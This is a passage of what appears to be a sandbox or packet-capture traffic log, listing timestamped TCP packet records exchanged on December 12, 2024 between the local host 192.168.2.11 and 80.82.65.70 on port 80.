                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.664577007 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.665494919 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.665594101 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.665740013 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.665740013 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.666462898 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.666558027 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.666640997 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.667449951 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.667557001 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.667577982 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.667623997 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.668502092 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.668590069 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.669004917 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.669004917 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.669528008 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.669625044 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.669656038 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.669708014 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.670476913 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.670619011 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.670800924 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.671696901 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.671746969 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.671824932 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.671824932 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.672616005 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.672676086 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.673548937 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.673676968 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.674690008 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.674873114 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.674890041 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.674890041 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.674890041 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.674890041 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.675107002 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.675657988 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.675754070 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.675774097 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.676003933 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.676649094 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.676722050 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.676948071 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.677723885 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.677789927 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.677829027 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.678744078 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.678813934 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.678978920 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.818303108 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.818360090 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.818407059 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.818407059 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.818941116 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.818988085 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.819334030 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.819334030 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.819869995 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.819916010 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.819961071 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.820015907 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.821134090 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.821247101 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.821391106 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.821432114 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.822025061 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.822076082 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.822145939 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.822333097 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.823081970 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.823158026 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.823292017 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.823333979 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.824187994 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.824295044 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.824362040 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.824496031 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.825133085 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.825234890 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.825267076 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.825350046 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.826102972 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.826158047 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.826205015 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.827018976 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.827044010 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.827092886 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.827162981 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.827214003 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.828100920 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.828175068 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.828253031 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.828377008 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.829102039 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.829164028 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.829174995 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.829313993 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.830233097 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.830383062 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.830461979 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.830540895 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.831468105 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.831556082 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.831566095 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.831672907 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.832335949 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.832453966 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.832474947 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.832504988 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.833170891 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.833252907 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.833291054 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.833507061 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.834175110 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.834259033 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.834289074 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.834289074 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.835175037 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.835310936 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.835330963 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.835494995 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.836262941 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.836307049 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.836379051 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.837037086 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.837281942 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.837578058 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.837707996 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.837707996 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.838387012 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.838480949 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.838495970 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.838536978 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.839247942 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.839334965 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.839354992 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.839555025 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.840358973 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.840456009 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.840495110 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.840598106 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.841372013 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.841454029 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.841460943 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.841559887 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.842366934 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.842502117 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.842540026 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.843336105 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.843379974 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.843502045 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.843518019 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.843956947 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.844744921 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.844856977 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.845129013 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.845129013 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.845562935 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.845623970 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.845694065 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.845694065 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.846460104 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.846565008 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.846651077 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.846781969 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.847516060 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.847564936 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.847714901 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.847930908 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.848587990 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.848675966 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.848834038 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.848834038 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.849526882 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.849658966 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.850461006 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.850461006 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.850555897 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.850616932 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.850636959 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.850816011 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.851670027 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.851752043 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.851877928 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.852595091 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.852660894 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.852746964 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.852818012 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.853661060 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.853760004 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.853800058 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.853800058 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.854785919 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.854798079 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.855091095 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.855091095 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.855674982 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.855817080 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.856230974 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.856230974 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.856877089 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.856942892 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.857012987 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.857058048 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.857738018 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.857784033 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.857846022 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.857892036 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.858752012 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.858853102 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.858864069 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.859117985 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.859879971 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.859997988 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.860285044 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.860285044 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.860796928 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.860841036 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.860924006 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.861010075 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.861984015 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.862034082 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.862082005 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.862082005 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.863012075 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.863053083 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.863192081 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.863192081 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.863862038 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.863976955 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.863992929 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.864033937 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.864954948 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.865096092 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.865104914 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.865207911 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.865998983 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.866053104 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.866394043 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.866394043 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.866970062 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.867166996 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.867176056 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.867235899 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.867980003 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.868118048 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.868170023 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.868971109 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.869056940 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.869086981 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.869287968 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.870059013 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.870208979 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.870414019 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.870414019 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.871020079 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.871066093 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.871100903 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.871141911 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.872080088 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.872203112 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.010564089 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.010606050 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.010742903 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.010907888 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.010982037 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.010991096 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.011149883 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.011899948 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.011933088 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.012005091 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.013019085 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.013079882 CET804988280.82.65.70192.168.2.11
